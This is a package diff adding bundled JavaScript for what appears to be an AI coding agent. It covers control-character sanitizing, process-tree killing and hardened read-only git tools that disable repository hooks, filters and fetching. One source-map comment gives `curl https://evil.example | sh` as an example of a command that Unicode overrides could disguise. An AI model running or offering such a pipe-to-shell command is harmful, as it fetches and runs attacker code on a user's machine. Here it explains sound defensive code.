@letrquan/book 0.2.0 → 0.4.0-beta.0

package/dist/chunk-2AAOF5B5.js

@@ -0,0 +1,28 @@
+// src/control-characters.ts
+var CONTROL_CHARACTERS = /[\u0000-\u001f\u007f-\u009f\u061c\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]+/g;
+function foldControlCharacters(text) {
+  return text.replace(CONTROL_CHARACTERS, " ");
+}
+function stripTerminalControls(text) {
+  return text.replace(/\r\n/g, "\n").replace(
+    /[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u061c\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]+/g,
+    " "
+  );
+}
+var INVISIBLE_CHARACTER = /[\u0000-\u001f\u007f-\u00a0\u00ad\u061c\u180e\u2000-\u200f\u2028-\u202f\u205f-\u2064\u2066-\u206f\u3000\ufeff]/g;
+function escapeInvisibleCharacters(text) {
+  return text.replace(INVISIBLE_CHARACTER, (character) => {
+    if (character === "\n") return "\\n";
+    if (character === "\r") return "\\r";
+    if (character === "	") return "\\t";
+    return `\\u${character.charCodeAt(0).toString(16).toUpperCase().padStart(4, "0")}`;
+  });
+}
+
+export {
+  CONTROL_CHARACTERS,
+  foldControlCharacters,
+  stripTerminalControls,
+  escapeInvisibleCharacters
+};
+//# sourceMappingURL=chunk-2AAOF5B5.js.map

package/dist/chunk-2AAOF5B5.js.map

@@ -0,0 +1 @@
+{"version":3,"sources":["../src/control-characters.ts"],"sourcesContent":["/**\n * Characters that make rendered text differ from the text itself: C0 controls and DEL, C1\n * controls (NEL included), the Arabic letter mark, LRM/RLM, the line and paragraph separators,\n * and the bidi embeddings, overrides and isolates. An override can display\n * `curl https://evil.example | sh` as something harmless, and a newline or ESC breaks a one-line\n * row. Global: use it with `replace`, never `test`.\n */\nexport const CONTROL_CHARACTERS =\n  /[\\u0000-\\u001f\\u007f-\\u009f\\u061c\\u200e\\u200f\\u2028\\u2029\\u202a-\\u202e\\u2066-\\u2069]+/g;\n\n/** Fold every run of {@link CONTROL_CHARACTERS} to one space, for a one-line display. */\nexport function foldControlCharacters(text: string): string {\n  return text.replace(CONTROL_CHARACTERS, ' ');\n}\n\n/**\n * Replace every control character except newline and tab with a space, for multi-line text shown\n * as is (tool output under a screen reader): a bidi override or an escape sequence must not\n * rewrite the terminal, but the line structure stays. A CRLF becomes a newline first.\n */\nexport function stripTerminalControls(text: string): string {\n  return text\n    .replace(/\\r\\n/g, '\\n')\n    .replace(\n      /[\\u0000-\\u0008\\u000b-\\u001f\\u007f-\\u009f\\u061c\\u200e\\u200f\\u2028\\u2029\\u202a-\\u202e\\u2066-\\u2069]+/g,\n      ' ',\n    );\n}\n\n/**\n * Characters a reader cannot see or cannot tell from a plain space: the controls above, NBSP,\n * soft hyphen, the Unicode spaces U+2000-U+200A, zero-width characters, word joiners, the\n * ideographic space and the BOM.\n */\nconst INVISIBLE_CHARACTER =\n  /[\\u0000-\\u001f\\u007f-\\u00a0\\u00ad\\u061c\\u180e\\u2000-\\u200f\\u2028-\\u202f\\u205f-\\u2064\\u2066-\\u206f\\u3000\\ufeff]/g;\n\n/**\n * Show every invisible character as an escape (`\\n`, `\\r`, `\\t`, otherwise `\\uXXXX`), so a\n * model told which character was rejected can see it. Ordinary spaces are kept.\n */\nexport function escapeInvisibleCharacters(text: string): string {\n  return text.replace(INVISIBLE_CHARACTER, (character) => {\n    if (character === '\\n') return '\\\\n';\n    if (character === '\\r') return '\\\\r';\n    if (character === '\\t') return '\\\\t';\n    return `\\\\u${character.charCodeAt(0).toString(16).toUpperCase().padStart(4, '0')}`;\n  });\n}\n"],"mappings":";AAOO,IAAM,qBACX;AAGK,SAAS,sBAAsB,MAAsB;AAC1D,SAAO,KAAK,QAAQ,oBAAoB,GAAG;AAC7C;AAOO,SAAS,sBAAsB,MAAsB;AAC1D,SAAO,KACJ,QAAQ,SAAS,IAAI,EACrB;AAAA,IACC;AAAA,IACA;AAAA,EACF;AACJ;AAOA,IAAM,sBACJ;AAMK,SAAS,0BAA0B,MAAsB;AAC9D,SAAO,KAAK,QAAQ,qBAAqB,CAAC,cAAc;AACtD,QAAI,cAAc,KAAM,QAAO;AAC/B,QAAI,cAAc,KAAM,QAAO;AAC/B,QAAI,cAAc,IAAM,QAAO;AAC/B,WAAO,MAAM,UAAU,WAAW,CAAC,EAAE,SAAS,EAAE,EAAE,YAAY,EAAE,SAAS,GAAG,GAAG,CAAC;AAAA,EAClF,CAAC;AACH;","names":[]}

package/dist/chunk-32WBCUAN.js

@@ -0,0 +1,660 @@
+import {
+  systemClock
+} from "./chunk-RT5SATF7.js";
+import {
+  buildChildEnv
+} from "./chunk-XHAO3K7I.js";
+import {
+  homeGitCeiling
+} from "./chunk-SBTU5BEC.js";
+import {
+  toolFailure,
+  toolSuccess
+} from "./chunk-YIL6HTJX.js";
+
+// src/jobs/process-tree.ts
+import { execFile } from "child_process";
+
+// src/system32.ts
+import { existsSync } from "fs";
+import { join } from "path";
+function system32Executable(name, platform = process.platform, env = process.env) {
+  if (platform !== "win32") return name;
+  const fileName = name.toLowerCase().endsWith(".exe") ? name : `${name}.exe`;
+  const systemRoot = env.SystemRoot || env.windir || "C:\\Windows";
+  const targetPath = join(systemRoot, "System32", fileName);
+  return existsSync(targetPath) ? targetPath : name;
+}
+
+// src/jobs/process-tree.ts
+var GROUP_POLL_INTERVAL_MS = 25;
+var TERMINATE_GRACE_MS = 1500;
+function signalTargetExists(target) {
+  try {
+    process.kill(target, 0);
+    return true;
+  } catch (error) {
+    return error.code === "EPERM";
+  }
+}
+function isProcessAlive(pid) {
+  return pid === void 0 ? false : signalTargetExists(pid);
+}
+function isProcessGroupAlive(pgid) {
+  if (pgid === void 0 || process.platform === "win32") return false;
+  return signalTargetExists(-pgid);
+}
+function signalProcessGroup(proc, pgid, signal) {
+  try {
+    process.kill(-pgid, signal);
+  } catch {
+    try {
+      proc?.kill(signal);
+    } catch {
+    }
+  }
+}
+async function waitForProcessGroupExit(pgid, timeoutMs, clock = systemClock) {
+  const deadline = clock.monotonicNowMs() + timeoutMs;
+  while (isProcessGroupAlive(pgid)) {
+    if (clock.monotonicNowMs() >= deadline) return false;
+    await new Promise((resolve) => setTimeout(resolve, GROUP_POLL_INTERVAL_MS));
+  }
+  return true;
+}
+function waitForProcessClose(proc, timeoutMs) {
+  if (proc.exitCode !== null || proc.signalCode !== null) return Promise.resolve(true);
+  return new Promise((resolve) => {
+    const timer = setTimeout(() => {
+      cleanup();
+      resolve(proc.exitCode !== null || proc.signalCode !== null);
+    }, timeoutMs);
+    const onClose = () => {
+      cleanup();
+      resolve(true);
+    };
+    const cleanup = () => {
+      clearTimeout(timer);
+      proc.off("close", onClose);
+    };
+    proc.once("close", onClose);
+  });
+}
+async function runTaskkill(pid, timeoutMs = TERMINATE_GRACE_MS) {
+  return new Promise((resolve) => {
+    execFile(
+      system32Executable("taskkill"),
+      ["/PID", String(pid), "/T", "/F"],
+      // Book's own helper, but it is a command like any other and is handed no more of Book's
+      // environment than the next one would be.
+      { windowsHide: true, timeout: timeoutMs, env: buildChildEnv() },
+      (error) => resolve(!error)
+    );
+  });
+}
+async function terminateWindowsProcessTree(proc, pid, signal, treeKill = runTaskkill) {
+  const alreadyExited = proc.exitCode !== null || proc.signalCode !== null;
+  if (alreadyExited) return true;
+  if (await treeKill(pid)) return true;
+  try {
+    proc.kill(signal);
+  } catch {
+  }
+  return false;
+}
+async function terminateProcessTree(proc, pid, hasClosed) {
+  if (!proc || pid === void 0) return true;
+  if (process.platform !== "win32") {
+    signalProcessGroup(proc, pid, "SIGTERM");
+    if (await waitForProcessGroupExit(pid, TERMINATE_GRACE_MS)) return true;
+    signalProcessGroup(proc, pid, "SIGKILL");
+    return waitForProcessGroupExit(pid, TERMINATE_GRACE_MS);
+  }
+  const confirmed = await terminateWindowsProcessTree(proc, pid, "SIGTERM");
+  if (await hasClosed(TERMINATE_GRACE_MS)) return confirmed;
+  try {
+    proc.kill("SIGKILL");
+  } catch {
+    return false;
+  }
+  return await hasClosed(TERMINATE_GRACE_MS) && confirmed;
+}
+async function terminateForegroundProcess(proc) {
+  await terminateProcessTree(proc, proc.pid, (timeoutMs) => waitForProcessClose(proc, timeoutMs));
+}
+
+// src/tools/git.ts
+import { execFile as execFile3 } from "child_process";
+
+// src/tools/git-repository-programs.ts
+import { execFile as execFile2 } from "child_process";
+import { delimiter } from "path";
+var GIT_HARDENING_ARGS = [
+  "-c",
+  "core.fsmonitor=false",
+  "-c",
+  "core.pager=cat",
+  "-c",
+  "core.hooksPath=",
+  "-c",
+  "core.untrackedCache=false",
+  "-c",
+  "gc.auto=0",
+  "-c",
+  "maintenance.auto=false",
+  "-c",
+  "log.showSignature=false",
+  "--no-optional-locks"
+];
+function hardenedGitEnv() {
+  return { GIT_PAGER: "cat", GIT_TERMINAL_PROMPT: "0", ...homeGitCeilingEnv() };
+}
+function homeGitCeilingEnv() {
+  const ceiling = homeGitCeiling();
+  if (ceiling === void 0) return {};
+  const exported = process.env.GIT_CEILING_DIRECTORIES;
+  return { GIT_CEILING_DIRECTORIES: exported ? `${exported}${delimiter}${ceiling}` : ceiling };
+}
+function hardenedGitArgs(args) {
+  return [...GIT_HARDENING_ARGS, ...args];
+}
+var REPOSITORY_PROGRAM_CONFIG_PATTERN = "^(core\\.fsmonitor|filter\\..*\\.(clean|smudge|process|required)|merge\\..*\\.driver|extensions\\.partialclone|remote\\..*\\.(promisor|partialclonefilter))$";
+var OPERATOR_SCOPES = /* @__PURE__ */ new Set(["system", "global", "command"]);
+var REPOSITORY_SCOPES = /* @__PURE__ */ new Set(["local", "worktree"]);
+function parseGitConfig(stdout, options) {
+  const fields = stdout.split("\0");
+  const entries = [];
+  if (options?.scope !== void 0) {
+    const scope = options.scope.toLowerCase();
+    for (const field of fields) {
+      if (!field) continue;
+      const separator = field.indexOf("\n");
+      entries.push({
+        scope,
+        key: canonicalConfigKey(separator === -1 ? field : field.slice(0, separator)),
+        value: separator === -1 ? "true" : field.slice(separator + 1)
+      });
+    }
+    return entries;
+  }
+  for (let index = 0; index + 1 < fields.length; index += 2) {
+    const separator = fields[index + 1].indexOf("\n");
+    entries.push({
+      scope: fields[index].toLowerCase(),
+      key: canonicalConfigKey(
+        separator === -1 ? fields[index + 1] : fields[index + 1].slice(0, separator)
+      ),
+      value: separator === -1 ? "true" : fields[index + 1].slice(separator + 1)
+    });
+  }
+  return entries;
+}
+function canonicalConfigKey(raw) {
+  const nameStart = raw.lastIndexOf(".");
+  if (nameStart === -1) return raw.toLowerCase();
+  const head = raw.slice(0, nameStart);
+  const name = raw.slice(nameStart + 1).toLowerCase();
+  const subsectionStart = head.indexOf(".");
+  if (subsectionStart === -1) return `${head.toLowerCase()}.${name}`;
+  const section = head.slice(0, subsectionStart).toLowerCase();
+  return `${section}.${head.slice(subsectionStart + 1)}.${name}`;
+}
+function repositoryProgramPins(entries, options = {}) {
+  const allowFsmonitor = options.allowFsmonitor ?? true;
+  const operatorFilters = /* @__PURE__ */ new Map();
+  const operatorMergeDrivers = /* @__PURE__ */ new Map();
+  const repoFilterNames = /* @__PURE__ */ new Set();
+  const repoFiltersWithProcess = /* @__PURE__ */ new Set();
+  const repoMergeDriverNames = /* @__PURE__ */ new Set();
+  let lastFsmonitor;
+  for (const entry of entries) {
+    const isRepo = REPOSITORY_SCOPES.has(entry.scope);
+    const isOperator = OPERATOR_SCOPES.has(entry.scope);
+    if (entry.key === "core.fsmonitor") {
+      if (entry.scope !== "command") {
+        lastFsmonitor = entry.value;
+      }
+    } else if (entry.key.startsWith("filter.")) {
+      const lastDot = entry.key.lastIndexOf(".");
+      if (lastDot >= 7) {
+        const prop = entry.key.slice(lastDot + 1);
+        const name = entry.key.slice(7, lastDot);
+        if (prop === "clean" || prop === "smudge" || prop === "process" || prop === "required") {
+          if (isRepo) {
+            if (name.includes("=")) {
+              throw new Error(
+                `the repository's configuration defines a filter or merge driver named ${JSON.stringify(name)}, which Book cannot neutralize, so it will not run git here`
+              );
+            }
+            repoFilterNames.add(name);
+            if (prop === "process") {
+              repoFiltersWithProcess.add(name);
+            }
+          }
+          if (isOperator) {
+            let op = operatorFilters.get(name);
+            if (!op) {
+              op = {};
+              operatorFilters.set(name, op);
+            }
+            op[prop] = entry.value;
+          }
+        }
+      }
+    } else if (entry.key.startsWith("merge.") && entry.key.endsWith(".driver")) {
+      const name = entry.key.slice(6, -7);
+      if (isRepo) {
+        if (name.includes("=")) {
+          throw new Error(
+            `the repository's configuration defines a filter or merge driver named ${JSON.stringify(name)}, which Book cannot neutralize, so it will not run git here`
+          );
+        }
+        repoMergeDriverNames.add(name);
+      }
+      if (isOperator) {
+        operatorMergeDrivers.set(name, entry.value);
+      }
+    }
+  }
+  const pins = [];
+  for (const name of repoFilterNames) {
+    const op = operatorFilters.get(name);
+    const clean = op?.clean ?? "";
+    const smudge = op?.smudge ?? "";
+    const process2 = op?.process ?? "";
+    const required = op?.required ?? "false";
+    pins.push("-c", `filter.${name}.clean=${clean}`, "-c", `filter.${name}.smudge=${smudge}`);
+    const hasOperator = op !== void 0;
+    const repoHasProcess = repoFiltersWithProcess.has(name);
+    const opHasProcess = op?.process !== void 0;
+    if (!hasOperator || repoHasProcess || opHasProcess) {
+      pins.push("-c", `filter.${name}.process=${process2}`);
+    }
+    pins.push("-c", `filter.${name}.required=${required}`);
+  }
+  for (const name of repoMergeDriverNames) {
+    const driver = operatorMergeDrivers.get(name) ?? "";
+    pins.push("-c", `merge.${name}.driver=${driver}`);
+  }
+  if (allowFsmonitor && lastFsmonitor !== void 0) {
+    const trimmed = lastFsmonitor.trim().toLowerCase();
+    if (["true", "yes", "on", "1"].includes(trimmed)) {
+      pins.push("-c", "core.fsmonitor=true");
+    }
+  }
+  return pins;
+}
+async function defaultGitRunner(args, options) {
+  const timeout = options.timeoutMs === 0 ? 0 : options.timeoutMs ?? 3e4;
+  return new Promise((resolvePromise, reject) => {
+    execFile2(
+      "git",
+      args,
+      {
+        cwd: options.cwd,
+        timeout,
+        signal: options.signal,
+        encoding: "utf8",
+        maxBuffer: 50 * 1024 * 1024,
+        windowsHide: options.windowsHide ?? true,
+        env: buildChildEnv(
+          process.env,
+          options.env ? { ...hardenedGitEnv(), ...options.env } : hardenedGitEnv()
+        )
+      },
+      (error, stdout, stderr) => {
+        if (!error) {
+          resolvePromise({ stdout, stderr, code: 0 });
+          return;
+        }
+        const isKilled = Boolean(error.killed || error.signal);
+        if (!isKilled && typeof error.code === "number" && options.allowExitCodes?.includes(error.code)) {
+          resolvePromise({ stdout, stderr, code: error.code });
+          return;
+        }
+        let failureReason;
+        if (error.killed) {
+          failureReason = timeout > 0 ? `git timed out after ${timeout}ms and was killed` : "git timed out and was killed";
+        } else if (error.signal) {
+          failureReason = `git was killed with ${error.signal}`;
+        } else if (error.code === "ERR_CHILD_PROCESS_STDIO_MAXBUFFER" || /maxBuffer/i.test(error.message)) {
+          failureReason = "git output too large (maxBuffer exceeded)";
+        } else if (typeof error.code === "string") {
+          failureReason = `git failed: ${error.code}`;
+        } else {
+          failureReason = stderr.trim() || stdout.trim() || error.message || "git failed";
+        }
+        reject(new Error(failureReason));
+      }
+    );
+  });
+}
+function isPartialClone(entries) {
+  return entries.some((entry) => {
+    if (entry.key === "extensions.partialclone") return entry.value !== "";
+    if (!entry.key.startsWith("remote.")) return false;
+    if (entry.key.endsWith(".partialclonefilter")) return true;
+    if (entry.key.endsWith(".promisor")) {
+      return !["false", "no", "off", "0", ""].includes(entry.value.trim().toLowerCase());
+    }
+    return false;
+  });
+}
+async function readRepositoryProgramPins(cwd, exec, options) {
+  return (await readRepositoryGitConfig(cwd, exec, options)).pins;
+}
+async function readRepositoryGitConfig(cwd, exec, options) {
+  const runner = exec ?? defaultGitRunner;
+  const timeoutMs = options?.timeoutMs === 0 ? 0 : options?.timeoutMs ?? 3e4;
+  const signal = options?.signal;
+  const env = options?.env;
+  const allowFsmonitor = options?.allowFsmonitor ?? true;
+  const showScopeArgs = hardenedGitArgs([
+    "config",
+    "--show-scope",
+    "-z",
+    "--get-regexp",
+    REPOSITORY_PROGRAM_CONFIG_PATTERN
+  ]);
+  let isUnknownOption = false;
+  let showScopeResult;
+  try {
+    showScopeResult = await runner(showScopeArgs, {
+      cwd,
+      allowExitCodes: [1, 129],
+      timeoutMs,
+      signal,
+      env
+    });
+    if (showScopeResult.code === 129 || /unknown option/i.test(showScopeResult.stderr)) {
+      isUnknownOption = true;
+    }
+  } catch (error) {
+    const message = error instanceof Error ? error.message : String(error);
+    if (/unknown option/i.test(message)) {
+      isUnknownOption = true;
+    } else {
+      throw error;
+    }
+  }
+  if (!isUnknownOption && showScopeResult) {
+    if (showScopeResult.code === 0) {
+      const entries2 = parseGitConfig(showScopeResult.stdout);
+      return {
+        pins: repositoryProgramPins(entries2, { allowFsmonitor }),
+        partialClone: isPartialClone(entries2)
+      };
+    }
+    if (showScopeResult.code === 1) {
+      return { pins: [], partialClone: false };
+    }
+    throw new Error(
+      showScopeResult.stderr.trim() || showScopeResult.stdout.trim() || `git config failed (${showScopeResult.code})`
+    );
+  }
+  const entries = [];
+  const systemArgs = hardenedGitArgs([
+    "config",
+    "--system",
+    "--includes",
+    "-z",
+    "--get-regexp",
+    REPOSITORY_PROGRAM_CONFIG_PATTERN
+  ]);
+  try {
+    const sysResult = await runner(systemArgs, {
+      cwd,
+      allowExitCodes: [1],
+      timeoutMs,
+      signal,
+      env
+    });
+    if (sysResult.code === 0) {
+      entries.push(...parseGitConfig(sysResult.stdout, { scope: "system" }));
+    }
+  } catch {
+  }
+  const globalArgs = hardenedGitArgs([
+    "config",
+    "--global",
+    "--includes",
+    "-z",
+    "--get-regexp",
+    REPOSITORY_PROGRAM_CONFIG_PATTERN
+  ]);
+  const globalResult = await runner(globalArgs, {
+    cwd,
+    allowExitCodes: [1],
+    timeoutMs,
+    signal,
+    env
+  });
+  if (globalResult.code === 0) {
+    entries.push(...parseGitConfig(globalResult.stdout, { scope: "global" }));
+  } else if (globalResult.code !== 1) {
+    throw new Error(
+      globalResult.stderr.trim() || globalResult.stdout.trim() || `git config --global failed (${globalResult.code})`
+    );
+  }
+  const localArgs = hardenedGitArgs([
+    "config",
+    "--local",
+    "--includes",
+    "-z",
+    "--get-regexp",
+    REPOSITORY_PROGRAM_CONFIG_PATTERN
+  ]);
+  const localResult = await runner(localArgs, {
+    cwd,
+    allowExitCodes: [1],
+    timeoutMs,
+    signal,
+    env
+  });
+  if (localResult.code === 0) {
+    entries.push(...parseGitConfig(localResult.stdout, { scope: "local" }));
+  } else if (localResult.code !== 1) {
+    throw new Error(
+      localResult.stderr.trim() || localResult.stdout.trim() || `git config --local failed (${localResult.code})`
+    );
+  }
+  const worktreeArgs = hardenedGitArgs([
+    "config",
+    "--worktree",
+    "--includes",
+    "-z",
+    "--get-regexp",
+    REPOSITORY_PROGRAM_CONFIG_PATTERN
+  ]);
+  try {
+    const wtResult = await runner(worktreeArgs, {
+      cwd,
+      allowExitCodes: [1, 128],
+      timeoutMs,
+      signal,
+      env
+    });
+    if (wtResult.code === 0) {
+      entries.push(...parseGitConfig(wtResult.stdout, { scope: "worktree" }));
+    }
+  } catch {
+  }
+  return {
+    pins: repositoryProgramPins(entries, { allowFsmonitor: false }),
+    partialClone: isPartialClone(entries)
+  };
+}
+
+// src/tools/git.ts
+var HARDENED_DIFF_ARGS = [
+  "--no-ext-diff",
+  "--no-textconv",
+  "--ignore-submodules=dirty",
+  "--submodule=short"
+];
+function noFetchGitEnv() {
+  return { GIT_NO_LAZY_FETCH: "1", GIT_ALLOW_PROTOCOL: "" };
+}
+var MISSING_OBJECTS_NOTE = "This repository is a partial clone, and git needs an object that is not here. Book's git reads do not fetch missing objects: run the same git command yourself, which fetches what it needs, or `git fetch --refetch <remote>` after unsetting `remote.<remote>.partialclonefilter`, then retry.";
+function describeMissingObjects(message, partialClone = false) {
+  const missing = /lazy fetching disabled|promisor remote|transport '[^']*' not allowed/i.test(message) || partialClone && /unable to read|could not read|missing (blob|tree|commit)|bad object|could not fetch/i.test(
+    message
+  );
+  return missing ? `${MISSING_OBJECTS_NOTE}
+${message}` : message;
+}
+async function runGit(args, ctx, execute = execFile3) {
+  return new Promise((resolve) => {
+    const options = {
+      cwd: ctx.workspaceRoot,
+      encoding: "utf-8",
+      timeout: 3e4,
+      signal: ctx.signal,
+      // A hook git runs is a project command like any other, so it must not inherit a NODE_ENV
+      // Book defaulted for its own renderer.
+      env: buildChildEnv(process.env, ctx.env)
+    };
+    execute("git", args, options, (error, stdout, stderr) => {
+      if (!error) {
+        resolve({ success: true, output: stdout || "(no output)" });
+        return;
+      }
+      if (ctx.signal?.aborted) {
+        resolve({ success: false, output: "", error: "CANCELLED: Git command was cancelled" });
+        return;
+      }
+      resolve({
+        success: false,
+        output: "",
+        error: stderr || error.message || "Git command failed"
+      });
+    });
+  });
+}
+async function openReadOnlyGit(ctx) {
+  const env = { ...ctx.env, ...hardenedGitEnv(), ...noFetchGitEnv() };
+  const config = await readRepositoryGitConfig(ctx.workspaceRoot, void 0, {
+    signal: ctx.signal,
+    env
+  });
+  return {
+    partialClone: config.partialClone,
+    run: async (args) => {
+      const result = await runGit(hardenedGitArgs([...config.pins, ...args]), { ...ctx, env });
+      return result.success || !result.error ? result : { ...result, error: describeMissingObjects(result.error, config.partialClone) };
+    }
+  };
+}
+async function readOnlyGit(args, ctx) {
+  try {
+    return await (await openReadOnlyGit(ctx)).run(args);
+  } catch (error) {
+    return {
+      success: false,
+      output: "",
+      error: error instanceof Error ? error.message : String(error)
+    };
+  }
+}
+function gitResult(result) {
+  return result.success ? toolSuccess(result.output) : toolFailure(result.error ?? "Git command failed", { content: result.output });
+}
+async function gitStatus(_args, ctx) {
+  const result = await readOnlyGit(READ_ONLY_GIT_ARGS.GitStatus, ctx);
+  return gitResult(result);
+}
+async function gitDiff(_args, ctx) {
+  const result = await readOnlyGit(READ_ONLY_GIT_ARGS.GitDiff, ctx);
+  return gitResult(result);
+}
+async function gitLog(_args, ctx) {
+  const result = await readOnlyGit(READ_ONLY_GIT_ARGS.GitLog, ctx);
+  return gitResult(result);
+}
+async function gitCommit(args, ctx) {
+  const message = args.message;
+  const result = await runGit(["commit", "-m", message], {
+    ...ctx,
+    env: { ...ctx.env, ...homeGitCeilingEnv() }
+  });
+  return gitResult(result);
+}
+async function gitBranch(_args, ctx) {
+  const result = await readOnlyGit(READ_ONLY_GIT_ARGS.GitBranch, ctx);
+  return gitResult(result);
+}
+var READ_ONLY_GIT_ARGS = {
+  GitStatus: ["status", "--short", "--ignore-submodules=dirty"],
+  GitDiff: ["diff", ...HARDENED_DIFF_ARGS],
+  GitLog: ["log", "--oneline", "-20", "--no-show-signature"],
+  GitBranch: ["branch", "-a"]
+};
+var gitTools = [
+  {
+    name: "GitStatus",
+    idempotent: true,
+    policy: { concurrency: "parallel" },
+    description: "Show the working tree status (git status --short). Changes inside submodules are not listed; run `git -C <sub> status` for those.",
+    parameters: { type: "object", properties: {}, required: [] },
+    execute: gitStatus
+  },
+  {
+    name: "GitDiff",
+    idempotent: true,
+    policy: { concurrency: "parallel" },
+    description: "Show changes between commits, commit and working tree, etc.",
+    parameters: { type: "object", properties: {}, required: [] },
+    execute: gitDiff
+  },
+  {
+    name: "GitLog",
+    idempotent: true,
+    policy: { concurrency: "parallel" },
+    description: "Show recent commit logs (last 20, oneline)",
+    parameters: { type: "object", properties: {}, required: [] },
+    execute: gitLog
+  },
+  {
+    name: "GitCommit",
+    description: "Create a new commit with a message",
+    parameters: {
+      type: "object",
+      properties: { message: { type: "string", description: "Commit message" } },
+      required: ["message"]
+    },
+    execute: gitCommit
+  },
+  {
+    name: "GitBranch",
+    idempotent: true,
+    policy: { concurrency: "parallel" },
+    description: "List branches",
+    parameters: { type: "object", properties: {}, required: [] },
+    execute: gitBranch
+  }
+];
+
+export {
+  TERMINATE_GRACE_MS,
+  isProcessAlive,
+  signalProcessGroup,
+  waitForProcessGroupExit,
+  waitForProcessClose,
+  runTaskkill,
+  terminateProcessTree,
+  terminateForegroundProcess,
+  hardenedGitEnv,
+  hardenedGitArgs,
+  parseGitConfig,
+  defaultGitRunner,
+  readRepositoryProgramPins,
+  readRepositoryGitConfig,
+  HARDENED_DIFF_ARGS,
+  noFetchGitEnv,
+  describeMissingObjects,
+  openReadOnlyGit,
+  readOnlyGit,
+  READ_ONLY_GIT_ARGS,
+  gitTools
+};
+//# sourceMappingURL=chunk-32WBCUAN.js.map